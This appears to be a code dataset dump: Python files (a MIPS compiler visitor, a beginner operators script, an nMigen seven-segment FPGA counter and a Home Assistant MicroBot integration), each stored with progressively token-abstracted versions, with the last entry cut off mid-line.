"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n"
] | false |
9,953 |
911257bad3baab89e29db3facb08ec41269b41e3
|
# mathematical operators
'''
* multiply
/ divide (normal)
// divide (integer)
% modulus (remainder)
+ add
- subtract
** exponent (raise to)
'''
print(2 * 3)
# comparison operators
'''
== equal to
!= not equal to
> greater than
< less than
>= greater or equal to
<= less or equal to
'''
a = int(input("Enter your age: "))
b = 18
if a >= b:
print("You can drive the car, you are ", a)
else:
print("Sorry, you are too small")
|
[
"# mathematical operators\n'''\n* multiply\n/ divide (normal)\n// divide (integer)\n% modulus (remainder)\n+ add\n- subtract\n** exponent (raise to)\n'''\nprint(2 * 3)\n# comparison operators\n'''\n== equal to\n!= not equal to\n> greater than\n< less than\n>= greater or equal to\n<= less or equal to\n'''\na = int(input(\"Enter your age: \"))\nb = 18\nif a >= b:\n print(\"You can drive the car, you are \", a)\nelse:\n print(\"Sorry, you are too small\")",
"<docstring token>\nprint(2 * 3)\n<docstring token>\na = int(input('Enter your age: '))\nb = 18\nif a >= b:\n print('You can drive the car, you are ', a)\nelse:\n print('Sorry, you are too small')\n",
"<docstring token>\nprint(2 * 3)\n<docstring token>\n<assignment token>\nif a >= b:\n print('You can drive the car, you are ', a)\nelse:\n print('Sorry, you are too small')\n",
"<docstring token>\n<code token>\n<docstring token>\n<assignment token>\n<code token>\n"
] | false |
9,954 |
74bb511a9ec272020693db65a2e708f3db56931e
|
#!/usr/bin/env python3
from nmigen import *
from nmigen.build import *
from nmigen_boards.icebreaker import ICEBreakerPlatform
class SSDigitDecoder(Elaboratable):
def __init__(self):
self.i_num = Signal(4)
self.o_disp = Signal(7)
self.lut = {
0: 0b011_1111,
1: 0b000_0110,
2: 0b101_1011,
3: 0b100_1111,
4: 0b110_0110,
5: 0b110_1101,
6: 0b111_1101,
7: 0b000_0111,
8: 0b111_1111,
9: 0b110_0111,
}
def incr(self):
return self.i_num.eq(self.i_num+1)
def elaborate(self, platform):
m = Module()
with m.Switch(self.i_num):
for a, b in self.lut.items():
with m.Case(a):
m.d.comb += self.o_disp.eq(b)
return m
class Blinky(Elaboratable):
def __init__(self):
self.dd0 = SSDigitDecoder()
self.dd1 = SSDigitDecoder()
def elaborate(self, platform):
m = Module()
m.submodules.dd0 = self.dd0
m.submodules.dd1 = self.dd1
timer = Signal(20)
led = platform.request('led', 0)
btn = platform.request('button', 0)
btn1 = platform.request('button', 1)
dig_sel = platform.request('ss_dig_sel', 0)
disp = platform.request('ss_disp', 0)
# blinky led
m.d.sync += timer.eq(timer+1)
m.d.comb += led.o.eq(timer[-1] & ~btn)
# 7 seg
running = Signal(1)
"""
# naive btn
last_btn1 = Signal(1)
m.d.sync += last_btn1.eq(btn1.i)
with m.If(btn1.i & ~last_btn1):
m.d.sync += running.eq(~running)
"""
btn1_pipe1 = Signal(1)
btn1_pipe2 = Signal(1)
btn1_db = Signal(range(0, 0xffff))
m.d.sync += [
btn1_pipe1.eq(btn1.i),
btn1_pipe2.eq(btn1_pipe1),
]
with m.If(btn1_pipe2):
m.d.sync += btn1_db.eq(0xffff)
with m.Else():
with m.If(btn1_db > 0):
m.d.sync += btn1_db.eq(btn1_db-1)
with m.If(btn1_pipe2 & (btn1_db == 0)):
m.d.sync += running.eq(~running)
with m.If(running & (timer == 0)):
with m.If(self.dd0.i_num == 9):
m.d.sync += self.dd0.i_num.eq(0)
with m.If(self.dd1.i_num == 9):
m.d.sync += self.dd1.i_num.eq(0)
with m.Else():
m.d.sync += self.dd1.incr()
with m.Else():
m.d.sync += self.dd0.incr()
with m.If(timer[8]):
m.d.comb += [
dig_sel.o.eq(0),
disp.o.eq(self.dd1.o_disp),
]
with m.Else():
m.d.comb += [
dig_sel.o.eq(1),
disp.o.eq(self.dd0.o_disp),
]
return m
if __name__ == '__main__':
p = ICEBreakerPlatform()
p.add_resources(p.break_off_pmod)
p.add_resources([
Resource('ss_dig_sel', 0,
Pins('10', dir='o', conn=('pmod', 0)),
Attrs(IO_STANDARD='SB_LVCMOS')),
Resource('ss_disp', 0,
PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)),
Attrs(IO_STANDARD='SB_LVCMOS')),
])
for r in p.resources:
print('r:', r)
p.build(Blinky(), do_program=False)
|
[
"#!/usr/bin/env python3\n\nfrom nmigen import *\nfrom nmigen.build import *\nfrom nmigen_boards.icebreaker import ICEBreakerPlatform\n\nclass SSDigitDecoder(Elaboratable):\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {\n 0: 0b011_1111,\n 1: 0b000_0110,\n 2: 0b101_1011,\n 3: 0b100_1111,\n 4: 0b110_0110,\n 5: 0b110_1101,\n 6: 0b111_1101,\n 7: 0b000_0111,\n 8: 0b111_1111,\n 9: 0b110_0111,\n }\n def incr(self):\n return self.i_num.eq(self.i_num+1)\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\nclass Blinky(Elaboratable):\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n\n # blinky led\n m.d.sync += timer.eq(timer+1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n\n # 7 seg\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 0xffff))\n m.d.sync += [\n btn1_pipe1.eq(btn1.i),\n btn1_pipe2.eq(btn1_pipe1),\n ]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(0xffff)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db-1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [\n dig_sel.o.eq(0),\n disp.o.eq(self.dd1.o_disp),\n ]\n with m.Else():\n m.d.comb += [\n dig_sel.o.eq(1),\n disp.o.eq(self.dd0.o_disp),\n ]\n\n return m\n\nif __name__ == '__main__':\n p = ICEBreakerPlatform()\n p.add_resources(p.break_off_pmod)\n p.add_resources([\n Resource('ss_dig_sel', 0, \n Pins('10', dir='o', conn=('pmod', 0)),\n Attrs(IO_STANDARD='SB_LVCMOS')),\n Resource('ss_disp', 0, \n PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)),\n Attrs(IO_STANDARD='SB_LVCMOS')),\n ])\n for r in p.resources:\n print('r:', r)\n p.build(Blinky(), do_program=False)\n",
"from nmigen import *\nfrom nmigen.build import *\nfrom nmigen_boards.icebreaker import ICEBreakerPlatform\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\nif __name__ == '__main__':\n p = ICEBreakerPlatform()\n p.add_resources(p.break_off_pmod)\n p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=(\n 'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0,\n PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(\n IO_STANDARD='SB_LVCMOS'))])\n for r in p.resources:\n print('r:', r)\n p.build(Blinky(), do_program=False)\n",
"<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\nif __name__ == '__main__':\n p = ICEBreakerPlatform()\n p.add_resources(p.break_off_pmod)\n p.add_resources([Resource('ss_dig_sel', 0, Pins('10', dir='o', conn=(\n 'pmod', 0)), Attrs(IO_STANDARD='SB_LVCMOS')), Resource('ss_disp', 0,\n PinsN('1 2 3 4 7 8 9', dir='o', conn=('pmod', 0)), Attrs(\n IO_STANDARD='SB_LVCMOS'))])\n for r in p.resources:\n print('r:', r)\n p.build(Blinky(), do_program=False)\n",
"<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n\n def elaborate(self, platform):\n m = Module()\n with m.Switch(self.i_num):\n for a, b in self.lut.items():\n with m.Case(a):\n m.d.comb += self.o_disp.eq(b)\n return m\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n",
"<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n\n def __init__(self):\n self.i_num = Signal(4)\n self.o_disp = Signal(7)\n self.lut = {(0): 63, (1): 6, (2): 91, (3): 79, (4): 102, (5): 109,\n (6): 125, (7): 7, (8): 127, (9): 103}\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n <function token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n",
"<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n <function token>\n\n def incr(self):\n return self.i_num.eq(self.i_num + 1)\n <function token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n",
"<import token>\n\n\nclass SSDigitDecoder(Elaboratable):\n <function token>\n <function token>\n <function token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n",
"<import token>\n<class token>\n\n\nclass Blinky(Elaboratable):\n\n def __init__(self):\n self.dd0 = SSDigitDecoder()\n self.dd1 = SSDigitDecoder()\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n",
"<import token>\n<class token>\n\n\nclass Blinky(Elaboratable):\n <function token>\n\n def elaborate(self, platform):\n m = Module()\n m.submodules.dd0 = self.dd0\n m.submodules.dd1 = self.dd1\n timer = Signal(20)\n led = platform.request('led', 0)\n btn = platform.request('button', 0)\n btn1 = platform.request('button', 1)\n dig_sel = platform.request('ss_dig_sel', 0)\n disp = platform.request('ss_disp', 0)\n m.d.sync += timer.eq(timer + 1)\n m.d.comb += led.o.eq(timer[-1] & ~btn)\n running = Signal(1)\n \"\"\"\n # naive btn\n last_btn1 = Signal(1)\n m.d.sync += last_btn1.eq(btn1.i)\n with m.If(btn1.i & ~last_btn1):\n m.d.sync += running.eq(~running)\n \"\"\"\n btn1_pipe1 = Signal(1)\n btn1_pipe2 = Signal(1)\n btn1_db = Signal(range(0, 65535))\n m.d.sync += [btn1_pipe1.eq(btn1.i), btn1_pipe2.eq(btn1_pipe1)]\n with m.If(btn1_pipe2):\n m.d.sync += btn1_db.eq(65535)\n with m.Else():\n with m.If(btn1_db > 0):\n m.d.sync += btn1_db.eq(btn1_db - 1)\n with m.If(btn1_pipe2 & (btn1_db == 0)):\n m.d.sync += running.eq(~running)\n with m.If(running & (timer == 0)):\n with m.If(self.dd0.i_num == 9):\n m.d.sync += self.dd0.i_num.eq(0)\n with m.If(self.dd1.i_num == 9):\n m.d.sync += self.dd1.i_num.eq(0)\n with m.Else():\n m.d.sync += self.dd1.incr()\n with m.Else():\n m.d.sync += self.dd0.incr()\n with m.If(timer[8]):\n m.d.comb += [dig_sel.o.eq(0), disp.o.eq(self.dd1.o_disp)]\n with m.Else():\n m.d.comb += [dig_sel.o.eq(1), disp.o.eq(self.dd0.o_disp)]\n return m\n\n\n<code token>\n",
"<import token>\n<class token>\n\n\nclass Blinky(Elaboratable):\n <function token>\n <function token>\n\n\n<code token>\n",
"<import token>\n<class token>\n<class token>\n<code token>\n"
] | false |
9,955 |
5509880c30c2e03ca6eb42ad32018c39fb5939ed
|
"""Integration to integrate Keymitt BLE devices with Home Assistant."""
from __future__ import annotations
import logging
from typing import TYPE_CHECKING, Any
from microbot import MicroBotApiClient, parse_advertisement_data
from homeassistant.components import bluetooth
from homeassistant.components.bluetooth.passive_update_coordinator import (
PassiveBluetoothDataUpdateCoordinator,
)
from homeassistant.const import Platform
from homeassistant.core import HomeAssistant, callback
if TYPE_CHECKING:
from bleak.backends.device import BLEDevice
_LOGGER: logging.Logger = logging.getLogger(__package__)
PLATFORMS: list[str] = [Platform.SWITCH]
class MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):
"""Class to manage fetching data from the MicroBot."""
def __init__(
self,
hass: HomeAssistant,
client: MicroBotApiClient,
ble_device: BLEDevice,
) -> None:
"""Initialize."""
self.api: MicroBotApiClient = client
self.data: dict[str, Any] = {}
self.ble_device = ble_device
super().__init__(
hass,
_LOGGER,
ble_device.address,
bluetooth.BluetoothScanningMode.ACTIVE,
)
@callback
def _async_handle_bluetooth_event(
self,
service_info: bluetooth.BluetoothServiceInfoBleak,
change: bluetooth.BluetoothChange,
) -> None:
"""Handle a Bluetooth event."""
if adv := parse_advertisement_data(
service_info.device, service_info.advertisement
):
self.data = adv.data
_LOGGER.debug("%s: MicroBot data: %s", self.ble_device.address, self.data)
self.api.update_from_advertisement(adv)
super()._async_handle_bluetooth_event(service_info, change)
|
[
"\"\"\"Integration to integrate Keymitt BLE devices with Home Assistant.\"\"\"\nfrom __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nfrom microbot import MicroBotApiClient, parse_advertisement_data\n\nfrom homeassistant.components import bluetooth\nfrom homeassistant.components.bluetooth.passive_update_coordinator import (\n PassiveBluetoothDataUpdateCoordinator,\n)\nfrom homeassistant.const import Platform\nfrom homeassistant.core import HomeAssistant, callback\n\nif TYPE_CHECKING:\n from bleak.backends.device import BLEDevice\n\n_LOGGER: logging.Logger = logging.getLogger(__package__)\nPLATFORMS: list[str] = [Platform.SWITCH]\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(\n self,\n hass: HomeAssistant,\n client: MicroBotApiClient,\n ble_device: BLEDevice,\n ) -> None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(\n hass,\n _LOGGER,\n ble_device.address,\n bluetooth.BluetoothScanningMode.ACTIVE,\n )\n\n @callback\n def _async_handle_bluetooth_event(\n self,\n service_info: bluetooth.BluetoothServiceInfoBleak,\n change: bluetooth.BluetoothChange,\n ) -> None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if adv := parse_advertisement_data(\n service_info.device, service_info.advertisement\n 